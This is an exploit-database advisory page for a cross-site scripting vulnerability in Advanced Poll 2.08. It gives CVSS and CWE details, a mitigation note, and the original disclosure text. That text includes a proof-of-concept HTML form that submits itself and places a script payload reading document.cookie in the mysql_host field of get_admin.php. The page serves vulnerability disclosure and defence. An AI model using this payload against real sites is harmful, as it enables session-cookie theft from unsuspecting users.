header-logo
Suggest Exploit
vendor:
Advanced Poll
by:
4.3
CVSS
MEDIUM
Cross-Site Scripting (XSS)
79
CWE
Product Name: Advanced Poll
Affected Version From: 02.08
Affected Version To: 02.08
Patch Exists: NO
Related CWE:
CPE: a:advanced_poll:advanced_poll:2.08
Metasploit:
Other Scripts:
Platforms Tested:

Cross-Site Scripting in Advanced Poll

The application fails to properly sanitize user-supplied input, allowing an attacker to execute arbitrary script code in the browser of an unsuspecting user. This can lead to the theft of cookie-based authentication credentials and other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and output encoding to prevent the execution of arbitrary script code.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40045/info

Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced Poll 2.08 is vulnerable; other versions may also be affected. 

<form method="POST" action="http://www.example.com/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script>